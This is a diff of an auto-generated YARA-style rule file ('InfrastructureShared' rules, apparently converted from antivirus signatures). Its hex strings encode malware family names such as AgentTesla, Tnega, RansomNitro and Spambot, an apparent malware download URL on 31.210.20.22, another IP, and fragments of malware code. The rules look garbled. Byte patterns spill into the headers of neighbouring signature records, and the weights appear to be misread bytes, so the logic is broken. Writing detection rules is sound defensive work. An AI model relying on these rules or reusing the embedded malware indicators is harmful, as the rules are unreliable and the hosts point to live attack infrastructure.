05 00 21 " @@ -111532,7 +118863,7 @@ rule _InfrastructureShared_10268{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*385+(#a_53_2 & 1)*28271+(#a_00_3 & 1)*9537+(#a_49_4 & 1)*384) >=8 } -rule _InfrastructureShared_10269{ +rule _InfrastructureShared_10932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -111547,7 +118878,7 @@ rule _InfrastructureShared_10269{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21357+(#a_02_2 & 1)*3852+(#a_11_3 & 1)*4361+(#a_04_4 & 1)*-28632+(#a_17_5 & 1)*4352) >=8 } -rule _InfrastructureShared_10270{ +rule _InfrastructureShared_10933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -111562,7 +118893,7 @@ rule _InfrastructureShared_10270{ ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*0+(#a_00_2 & 1)*-2301+(#a_52_3 & 1)*19529+(#a_01_4 & 1)*4096+(#a_31_5 & 1)*11825) >=8 } -rule _InfrastructureShared_10271{ +rule _InfrastructureShared_10934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -111573,7 +118904,7 @@ rule _InfrastructureShared_10271{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*3089) >=10 } -rule _InfrastructureShared_10272{ +rule _InfrastructureShared_10935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -111581,27 +118912,41 @@ rule _InfrastructureShared_10272{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 6e 73 6f 6d 4e 69 74 72 6f 2e 41 21 4d 54 42 00 02 00 0a 81 01 45 6e 63 72 79 70 74 41 6c 6c 02 00 0a 81 01 44 65 63 72 79 70 74 41 6c 6c 02 00 10 81 01 44 45 43 52 59 50 54 5f 50 41 53 } //16675 $a_52_1 = {02 00 19 81 01 4e 69 74 72 75 73 2e 52 65 73 6f 75 72 63 65 73 2e 6c 6f 63 63 2e 6a 70 67 02 00 14 81 01 4e 69 74 72 6f 52 61 6e 73 6f 6d 77 61 72 65 2e 46 6f 72 6d 00 00 78 96 00 00 0a 00 0a 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 } //22355 $a_53_2 = {4c 2f 54 6e 65 67 61 2e 50 41 54 21 4d 54 42 00 05 00 18 81 01 68 74 74 70 3a 2f 2f 33 31 2e 32 31 30 2e 32 30 2e 32 32 2f 78 78 6d 2f 01 00 08 81 01 54 4e 47 2e 59 4a 4e 44 01 00 07 81 01 4c 56 4c 41 52 52 54 01 00 09 81 01 57 65 } //14958 - $a_69_3 = {6e 74 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 13 81 01 57 65 62 48 65 61 64 65 72 43 6f 6c 6c 65 63 74 69 6f 6e 00 00 78 96 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 58 21 4d 54 42 00 0a 00 32 03 0d 09 16 9a 14 19 8d 90 02 04 25 16 } //17250 - $a_04_4 = {a2 25 } //-28632 + $a_69_3 = {6e 74 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 13 81 01 57 65 62 48 65 61 64 65 72 43 6f 6c 6c 65 63 74 69 6f 6e 00 00 78 96 00 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 43 72 79 70 74 6f 67 72 61 70 68 79 2e 50 52 21 41 4d 54 42 00 0a 00 1c 81 01 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 } //17250 + $a_79_4 = {74 6f 67 72 61 70 68 79 01 00 18 81 01 52 53 41 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 18 81 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0d 81 01 53 48 41 32 35 36 4d 61 6e 61 67 65 64 00 00 78 96 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //17198 condition: - ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*22355+(#a_53_2 & 1)*14958+(#a_69_3 & 1)*17250+(#a_04_4 & 1)*-28632) >=10 + ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*22355+(#a_53_2 & 1)*14958+(#a_69_3 & 1)*17250+(#a_79_4 & 1)*17198) >=10 } -rule _InfrastructureShared_10273{ +rule _InfrastructureShared_10936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 54 21 4d 54 42 00 05 00 18 81 01 68 74 74 70 3a 2f 2f 33 31 2e 32 31 30 2e 32 30 2e 32 32 2f 78 78 6d 2f 01 00 08 81 01 54 4e 47 2e 59 4a 4e 44 01 00 07 81 01 4c 56 4c 41 52 52 54 01 00 } //18467 $a_57_1 = {62 } //-32503 b - $a_65_2 = {74 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 13 81 01 57 65 62 48 65 61 64 65 72 43 6f 6c 6c 65 63 74 69 6f 6e 00 00 78 96 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 58 21 4d 54 42 00 0a 00 32 03 0d 09 16 9a 14 19 8d 90 02 04 } //27715 - $a_90_3 = {04 a2 25 17 28 90 02 04 a2 25 18 72 90 02 03 70 a2 14 6f 90 02 04 00 20 00 08 00 00 0a 2b 00 06 2a 90 00 01 00 18 00 49 } //5669 - $a_00_5 = {55 00 65 00 6c 00 70 00 6d 00 69 00 53 00 01 00 13 01 57 53 54 52 42 75 66 66 65 72 4d 61 72 73 68 61 6c 65 72 00 00 78 96 00 00 0e 00 0e 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 } //46 + $a_65_2 = {74 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 13 81 01 57 65 62 48 65 61 64 65 72 43 6f 6c 6c 65 63 74 69 6f 6e 00 00 78 96 00 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 43 72 79 70 74 6f 67 72 61 70 68 79 2e 50 52 21 41 4d 54 42 00 0a 00 1c 81 01 53 79 73 74 65 6d 2e 53 65 63 75 72 69 } //27715 + $a_43_3 = {79 70 74 6f 67 72 61 70 68 79 01 00 18 81 01 52 53 41 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 18 81 01 41 65 } //31092 + $a_79_4 = {74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0d 81 01 53 48 41 32 35 36 4d 61 6e 61 67 65 64 00 00 78 96 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 58 21 4d 54 42 00 0a 00 32 03 0d 09 16 9a 14 19 8d 90 02 04 25 16 28 90 02 04 a2 25 17 28 90 02 04 a2 25 18 } //17267 + $a_03_5 = {70 a2 } //-28558 condition: - ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*-32503+(#a_65_2 & 1)*27715+(#a_90_3 & 1)*5669+(#a_00_5 & 1)*46) >=10 + ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*-32503+(#a_65_2 & 1)*27715+(#a_43_3 & 1)*31092+(#a_79_4 & 1)*17267+(#a_03_5 & 1)*-28558) >=10 } -rule _InfrastructureShared_10274{ +rule _InfrastructureShared_10937{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 43 72 79 70 74 6f 67 72 61 70 68 79 2e 50 52 21 41 4d 54 42 00 0a 00 1c 81 01 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 01 00 18 81 01 52 53 41 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 } //18467 + $a_64_1 = {72 01 00 18 81 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0d 81 01 53 48 41 32 35 36 4d 61 6e 61 67 65 64 00 00 78 96 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 58 21 4d 54 42 00 0a 00 32 03 0d 09 16 9a } //30319 + $a_90_2 = {04 25 16 28 90 02 04 a2 25 17 28 90 02 04 a2 25 18 72 90 02 03 70 a2 14 6f 90 02 04 00 20 00 08 00 00 0a 2b 00 06 2a 90 00 01 00 18 00 49 00 44 00 4d 00 2e 00 49 00 55 00 65 00 6c 00 70 00 6d 00 69 00 53 00 01 00 13 01 57 53 54 52 42 75 66 66 65 72 4d 61 72 73 68 61 6c 65 72 00 00 78 96 00 00 0e 00 0e 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 38 33 21 4d 54 } //6420 + $a_00_3 = {2f 02 08 09 08 6f 90 01 04 5d } //66 + condition: + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*30319+(#a_90_2 & 1)*6420+(#a_00_3 & 1)*66) >=11 + +} +rule _InfrastructureShared_10938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -111612,7 +118957,7 @@ rule _InfrastructureShared_10274{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144) >=12 } -rule _InfrastructureShared_10275{ +rule _InfrastructureShared_10939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -111624,7 +118969,7 @@ rule _InfrastructureShared_10275{ ((#a_54_0 & 1)*18467+(#a_53_2 & 1)*21504+(#a_17_3 & 1)*-25503) >=14 } -rule _InfrastructureShared_10276{ +rule _InfrastructureShared_10940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 05 00 21 " @@ -111638,7 +118983,7 @@ rule _InfrastructureShared_10276{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_4b_2 & 1)*19529+(#a_04_3 & 1)*-28640+(#a_16_4 & 1)*4361) >=19 } -rule _InfrastructureShared_10277{ +rule _InfrastructureShared_10941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -111649,7 +118994,7 @@ rule _InfrastructureShared_10277{ ((#a_46_0 & 1)*16675+(#a_17_1 & 1)*4361) >=20 } -rule _InfrastructureShared_10278{ +rule _InfrastructureShared_10942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 06 00 21 " @@ -111663,7 +119008,7 @@ rule _InfrastructureShared_10278{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*18789+(#a_d1_2 & 1)*5770+(#a_65_3 & 1)*28233+(#a_44_5 & 1)*4) >=21 } -rule _InfrastructureShared_10279{ +rule _InfrastructureShared_10943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 05 00 21 " @@ -111676,44 +119021,34 @@ rule _InfrastructureShared_10279{ ((#a_54_0 & 1)*18467+(#a_43_2 & 1)*12338+(#a_03_3 & 1)*100+(#a_03_4 & 1)*1) >=50 } -rule _InfrastructureShared_10280{ +rule _InfrastructureShared_10944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6b 69 6e 74 72 69 6d 2e 43 2e 31 00 64 00 1d 03 74 13 8b 4c 24 90 01 01 8b 54 24 90 01 01 51 52 ff d0 c7 46 90 01 01 00 00 00 00 90 00 01 00 0d 03 44 0d 00 00 90 09 04 00 c7 44 24 90 00 01 00 11 03 44 0d } //18467 $a_09_1 = {01 00 90 04 01 03 b8 2d bf 90 00 01 00 0d 03 d1 0c 00 00 90 09 04 00 c7 44 24 90 00 01 00 11 03 d1 0c 00 00 90 09 01 00 90 04 01 03 b8 2d bf 90 00 00 00 78 96 00 00 8c 00 8c 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 70 61 6d 62 6f 74 2e 41 00 64 00 1c 02 8b 4c 24 08 85 90 01 01 7e 0f 8b 44 24 04 8a 10 80 f2 90 01 01 88 10 40 49 75 90 00 0a 00 06 00 5f 4d 75 74 65 78 0a } //0 - $a_0a_3 = {00 07 00 62 61 64 70 61 73 73 0a 00 12 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 0a 00 0e 00 36 36 2e 31 39 39 2e 32 35 31 2e 31 31 34 00 00 78 97 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 } //19532 - $a_61_4 = {79 2e 47 56 42 21 4d 54 42 00 01 00 6b 03 48 03 c8 48 8b c1 0f b6 00 83 f0 36 48 8b 8c 24 90 01 04 48 8b 94 24 90 01 04 48 03 d1 48 8b ca 88 01 48 8b 84 24 90 01 04 48 8b 8c 24 90 01 04 48 03 c8 48 8b c1 0f b6 00 83 c0 12 48 8b } //12084 + $a_0a_3 = {00 07 00 62 61 64 70 61 73 73 0a 00 12 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 0a 00 0e 00 36 36 2e 31 39 39 2e 32 35 31 2e 31 31 34 00 00 78 97 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //19532 + $a_67_4 = {6e 74 54 65 73 6c 61 2e 44 45 45 58 31 21 4d 54 42 00 01 00 63 01 16 6a 13 0b 2b 54 07 11 0b 17 6a 58 11 08 6a 5d d4 91 13 0c 07 11 0b 11 08 6a 5d d4 91 08 11 0b 69 1f 16 5d 6f 3c 00 00 0a 13 0d } //12108 condition: - ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*0+(#a_0a_3 & 1)*19532+(#a_61_4 & 1)*12084) >=101 + ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*0+(#a_0a_3 & 1)*19532+(#a_67_4 & 1)*12108) >=101 } -rule _InfrastructureShared_10281{ +rule _InfrastructureShared_10945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff8c 00 ffffff8c 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 70 61 6d 62 6f 74 2e 41 00 64 00 1c 02 8b 4c 24 08 85 90 01 01 7e 0f 8b 44 24 04 8a 10 80 f2 90 01 01 88 10 40 49 75 90 00 0a 00 06 00 5f 4d 75 74 65 78 0a 00 05 00 48 45 4c } //18467 $a_00_1 = {07 00 62 61 64 70 61 73 73 0a } //20300 - $a_77_3 = {6c 6f 61 64 54 6f 46 69 6c 65 41 0a 00 0e 00 36 36 2e 31 39 39 2e 32 35 31 2e 31 31 34 00 00 78 97 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 47 56 42 21 4d 54 42 00 01 00 6b 03 48 03 c8 48 8b c1 0f b6 00 83 f0 36 48 8b 8c 24 90 01 04 48 8b 94 24 90 01 04 48 03 d1 48 8b ca 88 01 } //17484 - $a_24_4 = {01 04 48 8b 8c 24 90 01 04 48 03 c8 48 8b c1 0f b6 00 83 c0 12 48 8b 8c 24 90 01 04 48 8b 94 24 90 01 04 48 03 d1 48 8b ca 88 01 90 13 48 8b 84 24 90 01 04 48 ff c0 48 89 84 24 90 01 04 48 81 bc 24 90 00 00 00 78 97 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 45 45 58 31 21 4d 54 42 00 01 00 63 01 16 6a 13 0b 2b 54 07 11 } //-29880 - $a_58_5 = {08 6a 5d d4 91 13 0c 07 11 0b 11 08 6a 5d d4 91 08 11 0b 69 1f 16 5d 6f 3c 00 00 0a 13 0d 11 0d 61 11 0c 59 13 0e 11 0e 20 00 01 00 00 58 20 ff 00 00 00 5f 13 0e 07 11 0b 11 08 6a 5d d4 11 0e 28 3d 00 00 0a 9c 11 0b 17 6a 58 13 0b 11 0b 11 08 17 59 6a 31 a3 00 00 78 97 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 } //5899 + $a_77_3 = {6c 6f 61 64 54 6f 46 69 6c 65 41 0a 00 0e 00 36 36 2e 31 39 39 2e 32 35 31 2e 31 31 34 00 00 78 97 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 45 45 58 31 21 4d 54 42 00 01 00 63 01 16 6a 13 0b 2b 54 07 11 0b 17 6a 58 11 08 6a 5d d4 91 13 0c 07 11 0b 11 08 6a } //17484 + $a_08_4 = {11 0b 69 1f 16 5d 6f 3c 00 00 0a 13 0d 11 0d 61 11 0c 59 13 0e 11 0e 20 00 01 00 00 58 20 ff 00 00 00 5f 13 0e 07 11 0b 11 08 6a 5d d4 11 0e 28 3d 00 00 0a 9c 11 0b 17 6a 58 13 0b 11 0b 11 08 17 59 6a 31 a3 00 00 78 97 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 58 58 50 31 32 33 21 4d 54 42 00 01 00 61 01 13 07 16 13 08 20 00 22 01 00 0c 16 0a 2b 43 20 00 01 } //-11171 + $a_05_5 = {06 08 5d 13 06 06 17 58 08 5d 13 0b 07 11 0b 91 11 05 58 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*20300+(#a_77_3 & 1)*17484+(#a_24_4 & 1)*-29880+(#a_58_5 & 1)*5899) >=140 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*20300+(#a_77_3 & 1)*17484+(#a_08_4 & 1)*-11171+(#a_05_5 & 1)*0) >=140 } -rule _InfrastructureShared_10282{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 47 56 42 21 4d 54 42 00 01 00 6b 03 48 03 c8 48 8b c1 0f b6 00 83 f0 36 48 8b 8c 24 90 01 04 48 8b 94 24 90 01 04 48 03 d1 48 8b ca 88 01 48 8b 84 24 90 01 04 48 8b 8c 24 90 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_10283{ +rule _InfrastructureShared_10946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -111723,7 +119058,7 @@ rule _InfrastructureShared_10283{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10284{ +rule _InfrastructureShared_10947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -111733,7 +119068,7 @@ rule _InfrastructureShared_10284{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10285{ +rule _InfrastructureShared_10948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -111743,7 +119078,7 @@ rule _InfrastructureShared_10285{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10286{ +rule _InfrastructureShared_10949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -111753,7 +119088,7 @@ rule _InfrastructureShared_10286{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10287{ +rule _InfrastructureShared_10950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -111763,7 +119098,7 @@ rule _InfrastructureShared_10287{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10288{ +rule _InfrastructureShared_10951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -111773,7 +119108,7 @@ rule _InfrastructureShared_10288{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10289{ +rule _InfrastructureShared_10952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -111783,7 +119118,7 @@ rule _InfrastructureShared_10289{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10290{ +rule _InfrastructureShared_10953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -111793,7 +119128,7 @@ rule _InfrastructureShared_10290{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10291{ +rule _InfrastructureShared_10954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -111803,7 +119138,7 @@ rule _InfrastructureShared_10291{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_10292{ +rule _InfrastructureShared_10955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -111814,7 +119149,7 @@ rule _InfrastructureShared_10292{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*103) >=1 } -rule _InfrastructureShared_10293{ +rule _InfrastructureShared_10956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -111825,7 +119160,7 @@ rule _InfrastructureShared_10293{ ((#a_77_0 & 1)*19491+(#a_66_1 & 1)*28515) >=1 } -rule _InfrastructureShared_10294{ +rule _InfrastructureShared_10957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -111837,7 +119172,7 @@ rule _InfrastructureShared_10294{ ((#a_5f_0 & 1)*25635+(#a_73_1 & 1)*18803+(#a_56_2 & 1)*29295) >=1 } -rule _InfrastructureShared_10295{ +rule _InfrastructureShared_10958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -111849,7 +119184,7 @@ rule _InfrastructureShared_10295{ ((#a_46_0 & 1)*16675+(#a_50_2 & 1)*384+(#a_68_3 & 1)*8523) >=1 } -rule _InfrastructureShared_10296{ +rule _InfrastructureShared_10959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -111862,7 +119197,7 @@ rule _InfrastructureShared_10296{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1+(#a_97_3 & 1)*0) >=1 } -rule _InfrastructureShared_10297{ +rule _InfrastructureShared_10960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -111875,7 +119210,7 @@ rule _InfrastructureShared_10297{ ((#a_54_0 & 1)*18467+(#a_44_2 & 1)*4+(#a_97_3 & 1)*0+(#a_00_4 & 1)*80) >=1 } -rule _InfrastructureShared_10298{ +rule _InfrastructureShared_10961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " @@ -111886,7 +119221,7 @@ rule _InfrastructureShared_10298{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*-28568) >=1 } -rule _InfrastructureShared_10299{ +rule _InfrastructureShared_10962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -111896,7 +119231,7 @@ rule _InfrastructureShared_10299{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_10300{ +rule _InfrastructureShared_10963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -111906,7 +119241,7 @@ rule _InfrastructureShared_10300{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_10301{ +rule _InfrastructureShared_10964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -111917,7 +119252,7 @@ rule _InfrastructureShared_10301{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26984) >=2 } -rule _InfrastructureShared_10302{ +rule _InfrastructureShared_10965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -111929,7 +119264,7 @@ rule _InfrastructureShared_10302{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*17247+(#a_3a_2 & 1)*28531) >=2 } -rule _InfrastructureShared_10303{ +rule _InfrastructureShared_10966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -111941,7 +119276,7 @@ rule _InfrastructureShared_10303{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*12090+(#a_32_2 & 1)*28789) >=2 } -rule _InfrastructureShared_10304{ +rule _InfrastructureShared_10967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -111952,7 +119287,7 @@ rule _InfrastructureShared_10304{ ((#a_5f_0 & 1)*25635+(#a_fa_1 & 1)*18455) >=2 } -rule _InfrastructureShared_10305{ +rule _InfrastructureShared_10968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111963,7 +119298,7 @@ rule _InfrastructureShared_10305{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*104) >=3 } -rule _InfrastructureShared_10306{ +rule _InfrastructureShared_10969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111974,7 +119309,7 @@ rule _InfrastructureShared_10306{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144) >=3 } -rule _InfrastructureShared_10307{ +rule _InfrastructureShared_10970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111986,7 +119321,7 @@ rule _InfrastructureShared_10307{ ((#a_46_0 & 1)*16675+(#a_17_1 & 1)*2560+(#a_63_2 & 1)*24442) >=3 } -rule _InfrastructureShared_10308{ +rule _InfrastructureShared_10971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111998,7 +119333,7 @@ rule _InfrastructureShared_10308{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*12147+(#a_74_2 & 1)*28531) >=3 } -rule _InfrastructureShared_10309{ +rule _InfrastructureShared_10972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -112009,7 +119344,7 @@ rule _InfrastructureShared_10309{ ((#a_46_0 & 1)*16675+(#a_ba_1 & 1)*-254) >=3 } -rule _InfrastructureShared_10310{ +rule _InfrastructureShared_10973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -112021,7 +119356,7 @@ rule _InfrastructureShared_10310{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-1+(#a_ff_2 & 1)*513) >=3 } -rule _InfrastructureShared_10311{ +rule _InfrastructureShared_10974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -112033,7 +119368,7 @@ rule _InfrastructureShared_10311{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*67+(#a_72_2 & 1)*21550) >=3 } -rule _InfrastructureShared_10312{ +rule _InfrastructureShared_10975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -112045,18 +119380,30 @@ rule _InfrastructureShared_10312{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*-32475+(#a_6a_2 & 1)*14180) >=3 } -rule _InfrastructureShared_10313{ +rule _InfrastructureShared_10976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 